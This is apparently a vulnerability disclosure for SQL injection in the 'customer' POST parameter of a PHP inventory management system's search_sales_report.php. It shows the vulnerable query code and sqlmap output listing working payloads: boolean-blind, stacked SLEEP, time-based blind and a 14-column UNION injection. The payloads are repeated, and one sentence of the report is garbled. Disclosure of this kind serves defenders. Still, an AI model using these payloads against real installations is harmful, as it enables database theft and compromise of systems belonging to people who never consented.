

SQL injection vulnerability exists in customer parameter of app/ajax/search\_sales\_report.php file of inventory management system

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

```
1 <?php
2 require_once '../init.php';
3 if (isset($_POST) && !empty($_POST)) {
4     $issueData = $_POST['issuedate'];
5     $customer = $_POST['customer'];
6
7
8     $data = explode('-', $issueData);
9     $issu_first_date = $obj->convertDateMysql($data[0]);
10    $issu_end_date = $obj->convertDateMysql($data[1]);
11
12
13    $stmt = $pdo->prepare("SELECT SUM('purchase_due_bill') FROM 'purchase_products' WHERE 'order_date' BETWEEN '
14    $issu_first_date' AND '$issu_end_date' AND 'customer_id' = '$customer'");
15    $stmt->execute();
16    $res = $stmt->fetch(PDO::FETCH_NUM);
17    echo $res[0];
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sqlmap identified the following injection point(s) with a total of 43 HTTP(s) requests:
Parameter: customer (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: &customer=-1 OR 3*2*1=6 AND 000276=000276 AND 8860=8860 -- &issuedate=issuedate

Type: stacked queries
Title: MySQL >= 5.0.12 stacked queries (comment)
Payload: &customer=-1 OR 3*2*1=6 AND 000276=000276;SELECT SLEEP(5)# -- &issuedate=issuedate

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: &customer=-1 OR 3*2*1=6 AND 000276=000276 AND (SELECT 5443 FROM (SELECT(SLEEP(5)))CtWy) -- &issuedate=issuedate

Type: UNION query
Title: Generic UNION query (NULL) - 14 columns
Payload: &customer=-1 OR 3*2*1=6 AND 000276=000276 UNION ALL SELECT NULL,NULL,CONCAT(0x7178706271,0x4c5943654c4761786366556a684563794f437944724c6e527442694f655451506567416f445376,0x7178717a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL -- &issu
edate=issuedate
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Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: &customer=-1 OR 3\*2\*1=6 AND 000276=000276 AND 8860=8860 -- &issuedate=issuedate

Type: stacked queries

Title: MySQL >= 5.0.12 stacked queries (comment)

Payload: &customer=-1 OR 3\*2\*1=6 AND 000276=000276;SELECT SLEEP(5)# -- &issuedate=issuedate

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: &customer=-1 OR 3\*2\*1=6 AND 000276=000276 AND (SELECT 5443 FROM (SELECT(SLEEP(5)))CtWy) -- &issuedate=issuedate

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Source Download:

<https://www.sourcecodester.com/php/16741/free-and-open-source-inventory-management-system-php-source-code.html>